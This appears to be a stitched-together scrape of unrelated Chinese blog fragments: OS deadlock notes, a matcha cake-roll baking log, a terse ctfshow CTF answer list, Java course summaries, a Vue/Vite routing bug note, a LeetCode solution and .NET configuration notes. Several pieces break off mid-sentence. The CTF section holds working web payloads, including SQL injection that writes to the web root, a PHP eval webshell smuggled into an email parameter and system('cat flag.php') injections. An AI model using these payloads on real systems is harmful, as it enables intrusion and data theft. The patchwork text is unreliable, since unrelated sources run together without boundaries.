死锁: 在并发环境下,各进程因竟争资源而造成的一种互相等得对方手的资源,导致各进程都阻塞,都无法向前推进的现象。发生死锁后若无外力干涉,这些进程都将无法向前推进。
死锁-饥饿-死循环 死锁:各进程互相等待对方手里的资源,导致各进程都阻塞,无法向前推进的现象。 饥饿:由于长期得不到想要的资源,某进程无法向前推进的现象。 死循环:某进程执行过程中一直跳不出某个循环的现象。有时是因为程序逻辑bug导致的,有时是程序员故意设计的。 区别: 死锁一定是“循环等待对方手里的资源”导致的,因此如果有死锁现象,那至少有两个或两个以上的进程同时发生死锁。另外,发生死锁的进程一定处于阻塞态。 可能只有一个进程发生饥饿。发生饥饿的进程既可能是阻塞态(如长期得不到需要的设备),也可能是就绪态(长期得不到处理机) 可能只有一个进程发生死循环。死循环的进程可以上处理机运行(可以是运行态),只不过无法像期待的那样顺利推进。死锁和饥饿问题是由于操作系统分配资源的策略不合理导致的,而死循环是由代码逻辑的错误导致的。死锁和饥饿是管理者〈操作系统)的问题,死循环是被管理者的问题。
死锁产生的必要条件: 互斥条件: 对必須互斥使用的资源的争抢才会导致死锁 不剥夺条件: 进程保持的资源只能主动释放,不可强行剥夺 请求和保持条件: 保持某些资源不放的同时,请求别的资源 循环等待条件: 存在一种进程资源的循环等待链 循环等待未必死锁,死锁一定有循环等待
发生死锁的情况:对不可剥夺资源的不合理分配 1.对系统资源的竟争。各进程对不可剥夺的资源(如打印机)的竞争可能引起死锁,对可剥夺的资源(CPU)的竞争是不会引起死锁的。 2.进程推进顺序非法。请求和释放资源的顺序不当,也同样会导致死锁。 3.信号量的使用不当也会造成死锁。
死锁的处理策略: 1.预防死锁。破坏死锁产生的四个必要条件中的一个或几个。 2.避免死锁。用某种方法防止系统进入不安全状态,从而避免死锁(银行家算法) 3.死锁的检测和解除。允许死锁的发生,不过操作系统会负责检测出死锁的发生,然后采取某种措施解除死锁。
这次刚好买的抹茶到货了,然后就想做一个抹茶味的蛋糕卷,
上次的小三卷做的还可以,所以这次也是小三卷的材料,然后抹茶粉就加了一点,没量多少,
步骤和小三卷一样,第一次150°烤40分钟,然后发现下面不熟,然后再用上层140°,下层180°烤了10分钟。
优点:
1、小三卷的比例量的很精准,都是30g。
2、可能柠檬汁放的有点多,而且全程高速打,打发的时间比较快,不像以前那样打半个小时都没打的好。
3、把三分之一蛋白与蛋黄混合之后,把混合体倒入蛋白时,这里倒入的是空盘的位置,没有直接倒在蛋白的上面。
缺点:
1、在最底部加了一个底盘,导致下层烤了很久都不熟。
2、蛋白打发的很老,蛋白很粗糙,而且一点光泽都没有,导致一卷就列,一卷就列,根本没有办法卷下去。
3、由于加了抹茶粉,没有看视频人家的比例是多少,做的有点盲冲。
4、蛋糕出炉后凉了一会就马上盖油纸,然后翻转过来,这时候很黏油纸,我看视频人家是轻轻盖上油纸之后,然后等5、6分钟才翻转的(下次试下)。
五一放假,利用中午的时间就做了一个小四卷,这次做的还好,样子还行,就是掉皮。
材料:全部都是40g
优点:
1、量的材料比较精准
缺点:
1、蛋白打发的有一点老,提起打蛋器都没有小弯钩了,都是
406
http://www.baidu.com;'union/**/select/**/1,(select/**/flag/**/from/**/flag)/**/into/**/outfile/**//var/www/html/flag.txt%23 407
?ip=cafe::add ip6地址,类的名字叫cafe都是16进制
408
?email=<?php eval($_POST[1]);?>@123.php 409
注意这个是可以成功eval的,他把双引号前看做一个php脚本
?email=flageval($_POST[1]);?>@123.com 410
?b=on 411
?b=yes 412
ctfshow=<?php system('cat flag.php')?> 这不是注释符号,直接传即可,注意追加的,错了重开环境
413
ctfshow=*/system('cat flag.php');/* 414
/?ctfshow=-1 415
?k=Getflag 416
?f[0]=ctf&f[1]=flag 或者
f=ctf::flag 417
1.主动体,受重力影响
2.被动体,不受重力影响
7-10周JAVA学习总结 前言
这段时间,我们学习了接口、泛型、Builder、Bridge Patte、软件测试技术、Set、Map、链表、Lambda、Stream、JavaFX等内容。
接口: 接口是抽象方法的集合,接口通常以interface来声明。一个类通过继承接口的方式,从而来继承接口的抽象方法。
接口不能用于实例化对象。
接口没有构造方法。
接口中所有的方法必须是抽象方法。
接口不能包含成员变量,除了 static 和 final 变量。
接口不是被类继承了,而是要被类实现。
接口支持多继承。
泛型:泛型有三种使用方式,分别为:泛型类、泛型接口、泛型方法。
泛型类型用于类的定义中,被称为泛型类。通过泛型可以完成对一组类的操作对外开放相同的接口。
泛型类,是在实例化类的时候指明泛型的具体类型;泛型方法,是在调用方法的时候指明泛型的具体类型。
建造者(Builder)模式:使用场景:多个部件或者零件,都可以装配到一个对象中,但是产生的运行结果又相同。产品类非常复杂,或者产品类中调用顺序不同产生了不同的作用。初始化一个对象特别复杂,如使用多个构造方法,或者说有很多参数,并且都有默认值时。
Bridge Pattern(桥接模式):将抽象部分与它的实现部分分离,使它们都可以独立地变化。
软件测试技术:
黑盒测试BlackBox Testing
Input-> Process-> Output (proccess看不见)
测试用例 TestCase
(1) 输入数据
(2) 预期输出结果
代码开发之后进行测试用例设计,进行测试:UDD UseCase
先设计测试用例,开发程序,然后测试:TDD
Set:Set是一种叫做集合的数据结构
集合是由一组无序且唯一的项组成的
vue3+vite打包以后,项目切换路由触发(偶发触发)报: After using vue-router, there is an error in packaging and running # Failed to load module script: The server responded with a non-JavaScript MIME type of text/html. Strict MIME type checking is enforced for module scripts per HTML spec. Failed to fetch dynamically imported module..... 确实应该是vite2.xx的bug https://github.com/vitejs/vite/issues/863 注意: 在使用vue3+vite时候,只发现vue-router切换时触发此现象 问题: // vue3+vite此种异步路由引入方法 开发调试时确实没有问题,但是vite打包以后就会触发报错 routes: [ { path: /, name: Home, component: import(`../views/${view}.vue`) } ] 解决方法: // 这样引用虽然解决了问题(浏览器会提醒,不用管),但是在一些win10自带的低版本edge浏览器中还是会稀有触发 // 应该确实是vite的兼容性bug问题 import { defineAsyncComponent } from 'vue'; //异步组挂载器 routes: [ { path: /, name: Home, component: defineAsyncComponent(() => import('.
第二次 java 学习 blog 第二次 java 学习 blog 前言 1.知识点 2.题量与难度 设计与分析 题目集四 题目集五 题目集六 链表作业 期中考试 采坑心得 改进建议 总结 学习到的内容 继承 多态 抽象类与接口 抽象类 接口 Interface Java泛型 1.java 中泛型标记符 课程改进建议及意见 前言 1.知识点 1.基础图形运算知识 2.浮点数有效位数的保留 3.正则表达式 4.字符串转浮点型和整型 5.类与结构的设计 6.继承,多态,接口 2.题量与难度 1.题量不多,但是题量基本与难度成反比 2.题不多的时候,题目难度较大,情况复杂,判断很多,边界问题较多,花费大量的时间 设计与分析 题目集四 1.
You are given an integer array nums. You are initially positioned at the array's first index, and each element in the array represents your maximum jump length at that position.
Return true if you can reach the last index, or false otherwise.
Solution 每次计算最远能走到的位置,时间复杂度\(O(n)\)
点击查看代码 class Solution { public: bool canJump(vector<int>& nums) { int n = nums.size(); if(n==1)return true; else{ int max_reach=0; for(int i=0;i<n;i++){ if(i>max_reach)return false; max_reach = max(max_reach,i+nums[i]); } return true; } } };
配置是应用程序发布到各种环境的必备能力
核心组件包
Microsoft.Extensions.Configuration.Abstractions Microsoft.Extensions.Configuration 一个抽象包、一个实现包,也是使用了接口实现分离的设计模式 配置框架
以key-value字符串键值对的方式抽象了配置 支持从各种不同的数据源读取配置(如从命令行、环境变量、文件中读取) 配置框架核心类型
IConfiguration IConfigurationRoot IConfigurationSection IConfigurationBuilder 配置框架扩展点
IConfigurationSource IConfigurationProvider 配置框架有一个核心的扩展点:就是注入我们自己的配置源,也就是说我们可以指定任意的配置的数据来源,注入到我们的配置框架里面;
public class Program { public static void Main(string[] args) { // ConfigBuilder是用来构建我们配置的核心,这里它使用了一个build模式,也就是说我们所有的设置都是在build中完成,我们可以看到我使用了默认的 ConfigurationBuilder 的实现,用 IConfigurationBuilder 的来接收这个对象 IConfigurationBuilder builder = new ConfigurationBuilder(); // 这里是我们注入了一个内存的配置数据源,这行代码的作用就是我们注入了一个字典集合作为我们的配置数据源 builder.AddInMemoryCollection(new Dictionary<string, string> { {key1, value1 }, {key2, value2 }, {section1:key3, value3 }, // 把配置分组,用 section 来定义 {section2:key4, value4 }, {section2:section3:key5, value5 }, }); // builder.